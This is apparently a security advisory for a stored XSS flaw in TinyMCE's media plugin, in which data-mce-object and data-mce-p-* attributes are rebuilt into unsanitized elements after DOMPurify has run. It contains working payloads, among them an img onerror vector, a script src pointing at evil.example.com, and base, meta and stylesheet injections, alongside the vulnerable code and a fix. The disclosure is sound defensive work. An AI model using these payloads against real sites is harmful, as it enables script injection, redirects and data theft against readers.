CVE-2026-47761
TinyMCE's media plugin rebuilds elements from data-* attributes after DOMPurify has run, so a data-mce-object='img' becomes a real onerror in getContent() output
With the media plugin enabled (a default toolbar preset), inject data-mce-object and data-mce-p-* onto any element. DOMPurify lets them through because TinyMCE allows all data-* unconditionally. On getContent(), the media serializer filter reads data-mce-object as an element name and strips the data-mce-p- prefix off every attribute, building a brand-new element with no whitelist and no re-sanitization, after DOMPurify already ran. `` serializes to `
`. Stored XSS in the HTML TinyMCE promises is clean. CVSS 8.7, fixed in 8.5.1 / 7.9.3 / 5.11.1 LTS. Found with Ilyase Dehy.
the guarantee this breaks
TinyMCE tells integrators that getContent() returns sanitized HTML. Most apps believe it and render the string directly, innerHTML = post.content, no second pass. That trust is the attack surface. The bug is not that a payload slips past the sanitizer; it is that TinyMCE builds the dangerous element itself, after sanitization is over, while serializing the output it calls clean.
The only precondition is the media plugin, which ships in the standard toolbar presets, and the default xss_sanitization: true. No exotic config.
the data flow, one line at a time
setContent(payload)
-> DOMParser parses the HTML
-> DOMPurify sees <img data-mce-object="img" data-mce-p-onerror="alert(1)">
-> data-* is allowed unconditionally, so the node enters the editor DOM intact
-> getContent() is called (publish, autosave, blur)
-> HtmlSerializer runs attribute filters
-> the data-mce-object filter builds AstNode("img") and copies onerror="alert(1)" onto it
-> serializer emits <img src="x" onerror="alert(1)">
-> the app stores that string
-> a reader opens the post -> innerHTML = stored content -> onerror fires
The payload that DOMPurify inspects and the element that reaches the victim are not the same element. At sanitization time there is no onerror attribute anywhere; it is a data-mce-p-onerror data attribute, which is boring and allowed. The onerror is born later.
the sink
modules/tinymce/src/plugins/media/main/ts/core/FilterContent.ts, around lines 45-82, runs during getContent(), after DOMPurify:
serializer.addAttributeFilter('data-mce-object', (nodes, name) => {
while (i--) {
const node = nodes[i];
const realElmName = node.attr(name); // attacker-controlled, NO whitelist
const realElm = new AstNode(realElmName, 1); // arbitrary element name accepted
const attribs = node.attributes;
let ai = attribs.length;
while (ai--) {
const attrName = attribs[ai].name;
if (attrName.indexOf('data-mce-p-') === 0) {
realElm.attr(attrName.substr(11), attribs[ai].value); // copied verbatim, NO sanitization
}
}
node.replace(realElm); // injected into the AST, then serialized as-is
}
});
realElmName is supposed to be one of iframe, video, audio, object, embed, the elements the media plugin legitimately reconstructs. There is no check that it is. Pass img and you get an <img>; pass script and you get a <script>. Every data-mce-p-<x> becomes a real attribute <x> with your value, including onerror, src, href.
why none of the three defenses fire
DOMPurify allows all data-* (Sanitization.ts):
Strings.startsWith(attrName, 'data-') // true for data-mce-object and every data-mce-p-*
It sees <img data-mce-object="img" data-mce-p-onerror="...">, has no reason to strip a data attribute, and lets it into the editor DOM. The onerror does not exist yet, so there is nothing to catch.
Schema validation runs too early. In DomParser.ts, invalidFinder walks the AST for invalid nodes before FilterNode.runFilters() is called. The new AstNode("img") is created inside runFilters, after the schema walk finished. The validator never sees it.
The serializer emits whatever is in the AST. HtmlSerializer does no schema check of its own. So the element TinyMCE just fabricated goes straight into the output string.
Three layers, and the dangerous node threads between all of them by being created in the one phase none of them inspect.
the vectors
The inline one fires anywhere the output is dropped into innerHTML, the most common render path on the web:
<img data-mce-object="img" data-mce-p-src="x"
data-mce-p-onerror="alert(document.domain)"
src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==">
serializes to:
<p><img src="x" onerror="alert(document.domain)"></p>
The external-script one additionally fires in server-side rendering (React SSR, PHP echo, Django templates), where an injected <script src> actually executes on parse:
<span data-mce-object="script" data-mce-p-src="https://evil.example.com/x.js">x</span>
-> <p><script src="https://evil.example.com/x.js"></script></p>
And the rest of the element zoo, each confirmed via getContent() inspection:
payload (data-mce-object + data-mce-p-*) |
output | impact |
|---|---|---|
link + rel=stylesheet + href |
<link rel="stylesheet" href="..."> |
CSS exfiltration |
base + href |
<base href="https://evil.com/"> |
hijack every relative URL on the page |
meta + http-equiv=refresh + content |
<meta http-equiv="refresh" content="0;url=..."> |
forced redirect |
the controls, run in the same session
The bypass is exclusive to the media filter. Every direct injection in the same session was blocked cleanly, which is what proves DOMPurify is otherwise doing its job and the signal is real:
CTRL1 direct <img onerror> -> <p><img src="x"></p> (onerror stripped)
CTRL2 direct <script> -> (empty, element removed)
CTRL3 <svg onload> -> (empty, element removed)
CTRL4 javascript: href -> <p><a>click</a></p> (href stripped)
CTRL5 onclick attribute -> <div>text</div> (handler stripped)
This was verified in-browser, not just by reading the serializer: the alert(document.domain) dialog fired on a victim post page under Chrome 135 headless (Playwright), a manual Firefox session on Kali, and a manual Chromium session, against a small NovaCMS-style demo that stores getContent() verbatim and renders it with innerHTML. Three independent browser engines, same result; the five controls blocked in every one.
severity
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.7 High, CWE-79. Stored, so a single injection hits every reader of the content. PR:L because injecting the payload needs write access to the editor (a setContent, i.e. some authoring role); an app that embeds TinyMCE in a public unauthenticated form pushes this to PR:N and 9.3. Scope Changed because the script runs in the victim’s origin, not the attacker’s. The output looks like ordinary clean HTML, <img onerror> with no data-mce-* left on it, so application-level inspection has nothing obvious to flag without running a real second-pass sanitizer.
It is not CVE-2022-23493: that one was the media plugin’s URL/embed resolution path. This is the element-reconstruction filter in FilterContent.ts, structurally distinct code.
the fix
Fixed in TinyMCE 8.5.1, 7.9.3, and 5.11.1 LTS (GHSA-vg35-5wq7-3x7w). The reconstruction has to refuse element names it does not own, and treat the unprefixed attributes as untrusted:
const ALLOWED_MEDIA_ELEMENTS = new Set(['iframe', 'video', 'audio', 'object', 'embed']);
const realElmName = node.attr(name) as string;
if (!ALLOWED_MEDIA_ELEMENTS.has(realElmName)) {
node.remove();
continue;
}
const realElm = new AstNode(realElmName, 1);
A whitelist alone kills the img/script/link/base/meta paths. The complete fix also rejects unprefixed on* handlers and protocol-checks URL attributes (src, href, data), or better, passes the reconstructed element back through the sanitizer before it enters the AST. The principle is the one the three earlier layers each assumed someone else held: anything you build from attacker input is attacker input until it has been sanitized, and “after DOMPurify” is not a safe place to build elements.